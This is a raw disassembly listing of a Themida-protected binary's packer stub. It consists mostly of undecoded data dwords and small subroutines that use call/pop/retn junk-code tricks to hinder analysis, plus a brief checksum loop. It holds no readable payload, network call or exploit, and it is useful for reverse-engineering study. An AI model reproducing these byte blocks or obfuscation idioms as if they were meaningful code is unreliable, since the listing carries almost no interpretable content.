--------------------------------------------------------------------------- db 6Eh dd 6862340Ch, 0DA06027Ch ; --------------------------------------------------------------------------- loc_5D3610: ; CODE XREF: Themida_:005D3602j push large dword ptr fs:0 push 0 push eax call sub_5D3622 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D3622 proc near ; CODE XREF: Themida_:005D361Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5D3622 endp ; --------------------------------------------------------------------------- dw 0C949h dd 1AC8E326h, 0BD8B9AA0h, 7E41E2Dh, 258964h, 3000000h dd 0E41BB59Dh, 0B985FF07h, 3107E420h, 0E423D195h, 0BBFF6A07h dd 47C12D63h, 1D49B5FFh, 9D8B07E4h, 7E41E35h, 304D95FFh dd 0E3E907E4h, 8B000000h, 0E416699Dh, 0E600B007h, 71E4F570h dd 0A8D8D89h, 613C07E4h, 0C8830Fh, 9D8B0000h, 7E42DD5h dd 66C8B60Fh, 0D35DF381h, 6BAh, 0C18BF500h, 0F504E8C1h dd 66E2F766h, 85BFFA8Bh, 2B4EC85Dh, 0C19D8BC8h, 8B07E41Eh dd 358589D1h, 0E907E424h, 13h, 47B232D5h, 93CCB86Bh, 0BC8FF90Fh dd 42980DC3h, 0E9AD49F1h, 76h, 33119D03h, 858B07E4h, 1 dd 0EF8166F5h, 0C0835BA8h, 0BD958907h, 8307E424h, 0BD8B00C0h dd 7E41BE5h, 830FD03Bh, 6, 45E9h, 8D8BF800h, 0FFFFFFFFh dd 18358509h, 0E18307E4h, 2F840F01h, 0F9000000h, 0FFFFA583h dd 50FEFFFFh, 0BE9h, 7C5FBE00h, 0E40604ABh, 0A39AA88h dd 195895Bh, 0F000000h, 484h, 6CBB6600h, 0E9D0h, 0B58D0000h dd 7E88A37h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 24C35040h, 219D8B4Bh, 6A07E406h, 859D2900h, 0FF07E40Fh dd 0E40E4195h, 19D8B07h, 0B907E433h, 0F6Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0F2C35242h, 0D0ADED90h dd 2C120319h, 0DE9EFh, 38A00000h, 226E32F9h, 339B9BC3h dd 839E4E8Ah, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0C65535C3h, 97241D61h, 84EF80DCh dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 29AA1887h, 0F1B5898Ch, 2B07E40Eh, 8644BBC0h dd 0BA4411h, 0E8000000h, 0Ch, 4CB0E651h, 39CC9EF9h, 0E6B4FFD4h dd 33AD5FFCh, 3E8D1C2h, 4E983D0h, 10E9F475h, 0C1000000h dd 0DC72675h, 749F17F4h, 85454BAEh, 6A80D6B8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 241CC350h, 810FFA34h, 14h, 0FE9h, 0D1908600h, 0A75889DBh dd 0C4542A8Ah, 610727E2h, 880Dh, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 83B334EBh dd 0F164AF9Dh, 9D89E9DBh, 7E42375h, 35659D8Bh, 958B07E4h dd 7E41B71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0A4C35545h, 83D94750h, 918D2903h, 8B07E406h, 0E42DA18Dh dd 0D88B6607h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0BF0F5818h, 9BD33DEh, 8307E425h, 0E40611BDh, 840F0007h dd 79h, 1EC19529h, 0BD8B07E4h, 7E422B5h, 0B8h, 0AE800h dd 49670000h, 52F3A68Bh, 578DB984h, 3341B589h, 8D5F07E4h dd 0E44FE78Dh, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 532820BAh, 89CDA452h dd 0E406618Dh, 6AE1FF07h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8915C353h, 0E41CD9BDh dd 0B9BD8307h, 7E422h, 435840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 7BA9D0C3h dd 0AE98Ch, 6CB90000h, 37E83AC4h, 4B3C98E7h, 18A19D8Bh dd 0BD8307E4h, 7E422B9h, 0F840F01h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 7364C353h, 3FDBAFDAh, 0C99D8D4Fh, 860FFB8Bh, 6, 2AB59D8Bh dd 0BD8307E4h, 7E422B9h, 99860F03h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0E861C350h, 5, 278D8956h, 0F8E0F38h, 0E9000000h, 0Ah dd 256367BFh, 0E0D91h, 235B0200h, 0E402119Dh, 6A6007h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 66CAAEC3h, 870FD98Ch, 0Ah, 5E9h, 0D816C600h, 0E180CE5Dh dd 699D8904h, 0A07E425h, 54840FC9h, 1000001h, 0E41F3985h dd 51858B07h, 6A07E406h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0B99BC350h, 2201D86Ah dd 13E8534Ch, 84000000h, 63C6E795h, 8B73C3FAh, 774FC930h dd 4D94F02Dh, 10E9F86Ch, 28000000h, 0C641AD04h, 0C1BAF195h dd 5BA420E6h, 5F76CC2Dh, 20298533h, 9DBB07E4h, 504138D3h dd 0FA8B5250h, 0DE8B310Fh, 489585Ah, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 38BB668Eh dd 9E924h, 4C830000h, 0C0742922h, 6AB8FE20h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 6365829Fh, 9F69EA3h, 9D890413h, 7E42031h, 9D090EB7h dd 7E4313Dh, 4DDCBE68h, 3056BFEBh, 481277Eh, 0D1274124h dd 8BF96014h, 0E43235B5h, 30BF6107h, 0FF2E537Ah, 0E42D9995h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 85890320h, 7E7F8A5h, 6860Fh, 8D090000h dd 7E41879h, 16CE9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 12847D6Ah, 8B2D9677h dd 0E7F89D85h, 68F0F07h, 81000000h, 0F4C3F6EFh, 1800C753h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 89D3C353h, 24DE4860h, 0A1B58B5Eh dd 8907E7F8h, 0E4192595h, 99858B07h, 8907E400h, 0E41641BDh dd 0F5068907h, 651858Bh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0FE8083C3h, 0C2EB6B18h dd 7C529EBBh, 0C781664Bh, 9D8B969Fh, 7E40E11h, 1044689h dd 0E41D859Dh, 0BB665007h, 34899B69h, 51006A24h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 0C4BA725Ch, 2D059D8Bh, 8B6607E4h, 9DB5FFF9h, 8907E7F8h dd 0E42ED995h, 73726807h, 34811E3Eh, 21708D24h, 0A59D231Eh dd 8D07E42Fh, 0E7F8A585h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 84C168BDh dd 50DFB70Fh, 0FD4DBA60h, 8B6643B8h, 48961D8h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9D311FFFh, 7E42651h, 5439EB81h, 95FF6116h, 7E42D99h dd 6A61F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 89D2D7C3h, 0E4228D8Dh, 0B985C707h, 307E422h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 62F2C355h, 9D8B3A06h, 7E41639h dd 14AD9D8Bh, 0BD8307E4h, 7E7F8A5h, 11840F00h, 66000000h dd 0E9CDFDBFh, 23h, 9B53150h, 5F07E423h, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0B9D5C352h, 9CDAEE5Ch, 22B9BD83h dd 0F0307E4h, 3D085h, 0FBB70F00h, 0F8A5BD83h, 0F0007E7h dd 3C084h, 0B5FFFC00h, 7E7F8A5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 7DC35545h, 0B4887ECEh, 0FE88389h dd 0C1000000h, 0E43D0D86h, 9D691579h, 0D42D738Dh, 8A0FA5C3h dd 2, 0FF5BF88Bh, 0E4044D95h, 0D8BF6607h, 99B58B3Ah, 8B07E7F8h dd 0E408819Dh, 106C707h, 6A000100h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AFBAC356h dd 0E14FE3BBh, 8D899116h, 7E40439h, 3BB6650h, 2434890Bh dd 0CE8h, 0A777F900h, 225D24B3h, 1D4784D0h, 5FDF8B3Ah dd 0F8A5B5FFh, 8D8907E7h, 7E40E89h, 2A0995FFh, 0D98B07E4h dd 25F19589h, 0B58B07E4h, 7E7F899h, 1ADD8D89h, 858B07E4h dd 7E43165h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 12C35343h, 4980E47Eh, 0F88B662Eh, 0C48689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0A7485FC3h, 8824407Ah, 958BFA8Bh, 7E41B71h, 27959589h dd 0C28307E4h, 89FA8B04h, 8D892050h, 7E41CA5h, 0CD4858Dh dd 6A07E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 6A7FA1C3h, 0B2F9B8EEh, 89F6409Ch, 0E4213D8Dh dd 5DBD8B07h, 8907E405h, 0B886h, 29B58900h, 0F07E414h dd 6AF8B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 82C35242h, 348DC415h, 36D7FF2Dh, 0A5B5FFEAh, 6A07E7F8h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0C9D0C357h, 8166232Fh, 0FFCFB6F7h, 0E431AD95h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 510EEC71h, 0AC3BB11Fh, 30319589h, 0BF9607E4h dd 2A9F104Eh, 0EE950h, 0FF250000h, 0F755AC9Fh, 0B00BE280h dd 0E2B3E57Bh, 53006A96h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0FF259F8Eh, 0E7F8A5B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0FE91A466h, 68E386BFh, 0BF66CC77h, 95FF1BC1h dd 7E41B11h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 92C35040h, 8EA4E512h, 0B0D9D8Bh, 0BD8307E4h, 7E40DF9h dd 26840F00h, 0F000000h, 686h, 79BD0900h, 9607E40Dh, 9E9h dd 680EA500h, 78C43AF8h, 5050CAE4h, 0DE8B6652h, 585A310Fh dd 0A5B5FF96h, 0F07E7F8h, 0C8Eh, 68D0F00h, 89000000h, 0E409598Dh dd 7D95FF07h, 6A07E402h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0C402C357h, 0E59D8B00h dd 0FF07E418h, 0E7F8A5B5h, 48A0F07h, 52000000h, 0FF5B6160h dd 0E4097195h, 68F0F07h, 33000000h, 0E43011BDh, 21BD8307h dd 207E40Ah, 77840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 889E5DC3h, 0BD0BE254h dd 7E420F5h, 1EB5858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0BBE167C3h, 6B3D5915h dd 0DE960h, 9EEE0000h, 0D7694F5Bh, 534BCC70h, 666C3767h dd 6121ACB9h, 0E1BD0160h, 8107E418h, 692833D3h, 0C66117h dd 7185C700h, 7E426h, 29000000h, 0E40D318Dh, 0F433E907h dd 880FFFFFh, 6, 2301BD31h, 8D2907E4h, 7E42639h, 6AC18Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0C249FCC3h, 0CBFFDB81h, 858D5C53h, 7E40D85h, 8B666090h dd 8B5250D9h, 0B5310FCAh, 61585AABh, 12E950h, 1D730000h dd 4C9C5ECEh, 2E989985h, 24427D70h, 0E4B11E02h, 0A5BD0390h dd 6A07E41Fh, 85BD8B00h, 6A07E402h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 36965EC8h dd 12E994DBh, 0CB000000h, 0A1EC12C3h, 0B9125EECh, 0DE2AB413h dd 3EEAB696h, 69950114h, 8D07E40Fh, 0E91F3C85h, 0C083F507h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 7252E92Eh, 9D8BD780h, 7E40291h, 8E990h dd 0BB480000h, 58DD93BAh, 8B50DE9Bh, 6A90DEh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 7900DDC3h dd 8B2BC1F9h, 0E422B5BDh, 80006A07h, 6A54EBh, 95FF23B3h dd 7E42471h, 9159D8Bh, 8D8D07E4h, 7E7D64Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 20C35242h, 0B0702BF6h dd 0CF80F956h, 8AD1FFCCh, 15BD83F9h, 107E420h, 31850Fh dd 26A0000h, 1A419589h, 0BD8B07E4h, 7E42251h, 9F33BF50h dd 489347Bh, 25BD8B24h, 8B07E40Ah, 0E4194D9Dh, 0AD95FF07h dd 0F07E431h, 287h, 0E985B300h, 0F11h, 0E8h, 0ED815D00h dd 7E91F46h, 1FF99D89h, 9D8B07E4h, 7E422F9h, 0C6E1858Dh dd 0E38107E7h, 5C46A629h, 24048950h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0FFC35545h, 0E7555CAEh, 7E91506h dd 8E000000h, 0CA99A73Dh, 0FF64F503h, 35h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 662C4B27h, 44E9C781h, 1A4D9501h, 896407E4h, 25h, 7622BB00h dd 85FF3177h, 7E420B9h, 22418D89h, 860F07E4h, 0Eh, 9E9h dd 5E5F9000h, 0C02D263h, 0FF6A5308h, 18A98D89h, 0B5FF07E4h dd 7E41E8Dh, 3860Fh, 8B660000h, 4D95FFD8h, 0E907E430h dd 142h, 6860Fh, 0D7810000h, 35923030h, 0B0DA8Bh, 0CE9h dd 45CF6900h, 99DA2D91h, 16F506C7h, 2970E64Dh, 0E41AB58Dh dd 8B71E407h, 0E426E99Dh, 0F613C07h, 10983h, 14FABB00h dd 0BD8B1BF0h, 7E429DDh, 8BC8B60Fh, 0E42BB1BDh, 6BA07h dd 0BD030000h, 7E422B1h, 0E8C1C18Bh, 9D895104h, 7E41F3Dh dd 0E2F7665Bh, 60DF8B66h, 0A4A1DF81h, 858B1A53h, 7E40F95h dd 0E8C82B61h, 0Dh, 0DE740FD8h, 8847C9B8h, 35627B57h, 3DADBF10h dd 8B5F1BB1h, 11E9D1h, 16910000h, 78F001h, 9B80864Ah, 3BD7AAE6h dd 667FA85Ah, 0E9DD25BBh, 8Eh, 8BDFBF0Fh, 485h, 9D9D3100h dd 0FC07E42Bh, 6607C083h, 42A8C381h, 0B300C083h, 0FD03BFAh dd 2883h, 0CE900h, 27E50000h, 489E9DC0h, 6CBA4ABCh, 53E924BFh dd 0F000000h, 682h, 75958900h, 3107E42Dh, 0E403D1B5h, 0FF8D8B07h dd 9FFFFFFh, 0E4144DB5h, 1E18307h, 2C840Fh, 0BD8B0000h dd 7E43209h, 0FFFFA583h, 0BFFEFFFFh, 7457705Ch, 0AE9h dd 0F732D800h, 4981FF87h, 895CDC1Dh, 495h, 0E900h, 0B58D0000h dd 7E899A5h, 13959531h, 6A07E4h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 23C35747h, 0BD0E609Fh, 95FF22B7h dd 7E40E41h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 0DDC35343h dd 8589F9E0h, 7E41815h, 0FB5B9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 89727EF8h dd 0E42689B5h, 0FCE18307h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 0B9C35040h, 0E12B8DC5h, 50006AFCh, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 4CA6FA1Ch, 81668717h, 0B86BC1CBh, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5D46BF and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D46BF proc near ; CODE XREF: Themida_:005D46B7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5D46BF endp ; --------------------------------------------------------------------------- pop ebp xor eax, [esi+ecx*2] mov al, 0E4h xor [ebp+7E401A5h], eax sub edx, edx push 0 push ebx call sub_5D46E8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D46E8 proc near ; CODE XREF: Themida_:005D46E0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5D46E8 endp ; --------------------------------------------------------------------------- dec ecx cmp bh, [ebx-48A85B34h] mov ebx, [ebp+7E40141h] loc_5D4705: ; CODE XREF: Themida_:005D470Fj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D4705 push 0 push ebx call sub_5D471C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D471C proc near ; CODE XREF: Themida_:005D4714p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5D471C endp ; --------------------------------------------------------------------------- dd 0BC3119FEh, 6AF8629Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 22D8C351h, 3FF8133Dh dd 669BD8Bh, 880D07E4h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 32BFC357h dd 162904E4h, 8BE97309h, 0E41AA1BDh, 99BD2307h, 8B07E423h dd 0E41B7195h, 5E907h, 0E0110000h, 8B998D13h, 0E42DA18Dh dd 8DF38107h, 5008E8F5h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A8FCD598h, 158B0FA1h, 0E8000000h dd 0Ch, 3038F183h, 0FB420A7Ch, 40F9C61Dh, 5FFBB70Fh, 2601BD8Bh dd 0BD8307E4h, 7E40611h, 6A840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 5A61C352h, 0E5B3C6B6h, 0B8h, 55BD8B00h, 8107E416h, 0D22EC5E3h dd 0E78D8D59h, 0E907E44Fh, 7, 0E7FF7DE7h, 0FF30A050h, 50006AE1h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 23C641ADh, 0E41E199Dh, 0B9BD8307h, 7E422h, 4B8840Fh dd 0BD290000h, 7E40085h, 4CABD781h, 0BD834E7Ah, 7E422B9h dd 0BA840F01h, 3000004h, 0E407B59Dh, 0B9BD8307h, 307E422h dd 471860Fh, 840F0000h, 6, 3071BD8Bh, 6A6007E4h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0E310C356h, 8C66CC12h, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8BE6BDBDh dd 0E41B1D9Dh, 0FAB70F07h, 6A04E180h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0A6EC357h dd 9B840FC9h, 0F000001h, 0A8Eh, 5E900h, 92000000h, 8BA8DBAAh dd 0E4065185h, 49958907h, 3307E423h, 0E4202985h, 0DE907h dd 52540000h, 0B2F3864Fh, 0F29B2C3Eh, 9057E11Eh, 0FE9h dd 0BD957A00h, 1850CF4Eh, 0F63F8CFDh, 282F08F8h, 50525050h dd 0F525052h, 0F585A31h, 5AD88B31h, 60310F58h, 0B0EE6EBFh dd 0DE8B666Ah, 90585A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0E1C35242h, 8166353Fh, 6AE6FEDBh, 0BF0F6000h dd 10E9CEh, 3A60000h, 9AA26631h, 796646C1h, 9D822777h dd 68615B58h, 0AB40FACh, 753343BBh, 2434815Bh, 0AAB0C53h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7EC35242h dd 7E8h, 358FE800h, 9F02D71Bh, 5959D31h, 0E85F07E4h, 7 dd 5B7E73C8h, 0FC613A6Fh, 9995FF5Bh, 6A07E42Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 2A31C355h, 0DEF90C29h, 0D98B17EBh, 12E8h, 0B583CB00h dd 0E20B6479h, 44413BB4h, 523A76CFh, 2B61E4E5h, 0E404319Dh dd 0BF665F07h, 8589E9D7h, 7E7F8A5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0E5C35747h, 29B31A0Dh, 0B75FBBFBh dd 0AE97DB9h, 6A000002h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 3436C357h, 25E0F31Ch dd 3E9B509h, 858B07E4h, 7E7F89Dh, 0EE9h, 0AB0B1B00h, 99D95D05h dd 0EF5FE744h, 0C7AFA6AFh, 1800h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 298D89FBh dd 8B07E406h, 0E7F8A1B5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0D98B3DFFh dd 99858Bh, 9D2307E4h, 7E4258Dh, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 275166C3h dd 5484BF0Ch, 6850Fh, 85310000h, 7E40991h, 651858Bh, 0FE8B07E4h dd 89FAB70Fh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 3758B9C3h, 217F3ED7h, 2369FEB3h dd 0E404D19Dh, 63BF9607h, 5061E4BDh, 0A830Fh, 850F0000h dd 4, 7A78BB66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 5D145A4Fh, 3C6A2592h dd 0F99589BDh, 0FF07E400h, 0E7F89DB5h, 21BD8B07h, 6607E42Dh dd 688539BBh, 0B27077F6h, 0AE9h, 0D8865200h, 9F5D9B2Dh dd 8148B13Ah, 8C092404h, 0BD314DAEh, 7E42B61h, 0F8A5858Dh dd 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 128E11C3h, 397E6189h, 0F903586h, 388Dh, 0E8525000h dd 12h, 1072424Bh, 0EDA99ABAh, 0CCCB986Ch, 49C9654h, 0F5B54A1h dd 14E831h, 36EB0000h, 296570A6h, 9A8C4255h, 6F0FD98Bh dd 0A3482BEEh, 5A5BB6ADh, 8B905058h, 0E4249DBDh, 9995FF07h dd 5307E42Dh, 12E9h, 0BD299D00h, 0EF7D573Ah, 1B1CDCDDh dd 0A522B05Ch, 5FD4106Ch, 0B8ADA7BBh, 6A6109h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 3F0621C3h, 178F5A80h, 28B0F56h, 0B3000000h, 85C75BB6h dd 7E422B9h, 3, 20E5BD89h, 0BD8307E4h, 7E7F8A5h, 2C840F00h dd 89000000h, 0E4332DB5h, 3CE907h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 200853C3h dd 50F97D36h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 9868AEC3h, 7E381D7h, 891971BCh dd 0E416518Dh, 0B9BD8307h, 307E422h, 516850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 14460FC3h, 362F96F9h, 816603B2h, 837FD3F7h, 0E7F8A5BDh dd 840F0007h, 4E0h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 9CC35040h, 3B500863h, 0E1B5893Dh, 0FF07E402h dd 0E7F8A5B5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0EC9DEE09h, 0FD8BF0Fh dd 18Dh, 95FFF800h, 7E4044Dh, 86EB8166h, 0F11BB5Ch, 0B58B2F32h dd 7E7F899h, 6C7DE8Bh, 10001h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 85C35545h, 66FF56CEh, 0F96FE8Bh dd 188Ch, 13E900h, 22050000h, 836C528h, 8B96BDADh, 98D1CF35h dd 45E053F6h, 7E8504Ch, 3E000000h, 0BC1859CCh, 4AB3EEBAh dd 6A965Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 40C24BC3h, 0FF0A5F1Ch, 0E7F8A5B5h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 11454F67h, 59CAAF63h, 13E8E17Eh, 3000000h, 12A73089h dd 0F734DFE8h, 310934C9h, 9E7BB38Ch, 0D98B6C5Eh, 0F88B665Fh dd 2A0995FFh, 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h dd 57470000h, 7CEA7CC3h, 8D29B384h, 7E413D1h, 0F899B58Bh dd 6A07E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 20C3E1C3h, 96112EDBh, 858B17D7h, 7E43165h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 6CC35242h dd 0D8E90424h, 0F0D381B6h, 0E9688B25h, 6, 60AAC9A5h, 868985A3h dd 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 38C35747h, 0E06846DBh, 0D552200h, 68A0Fh, 0C3810000h dd 4BAEBE63h, 2D9B529h, 958B07E4h, 7E41B71h, 0BD92C381h dd 0C283337Fh, 0E5BD8904h, 8907E41Dh, 6A2050h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 1883C0C3h, 8DAFB4B6h, 0E80CD485h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 994116D1h dd 8B66CE5Ch, 0B88689FAh, 31000000h, 0E406D1B5h, 6A006A07h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 1C31C357h, 60EE825Eh, 95892947h, 7E4141Dh dd 0F8A5B5FFh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8589B5C3h, 7E41441h, 31AD95FFh dd 0BF6607E4h, 6650BAB4h, 89CDCBBBh, 6A2434h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0BBEB42C3h dd 528FEF3Fh, 2B48ACBBh, 0A5B5FF39h, 6A07E7F8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 0C492C351h, 0EE86090h, 0C9000000h, 95474C76h, 4CF16F78h dd 0E2F58A48h, 1FBE66EEh, 895059E0h, 0E40219B5h, 0FF615907h dd 0E41B1195h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0B1329A3Dh, 25159529h dd 83F807E4h, 0E40DF9BDh, 840F0007h, 59h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C9C35545h, 2F4A9B64h dd 0F885D1Ah, 681h, 659D3300h, 9607E41Ch, 2840BB66h, 82B36050h dd 9E960h, 0ECF50000h, 34A9752h, 50169075h, 5A310F52h dd 96616158h, 3860Fh, 0C3800000h, 0A5B5FF05h, 6A07E7F8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 3276C352h, 0D8AC7415h, 0D98BBDA3h, 27D95FFh dd 6A07E4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 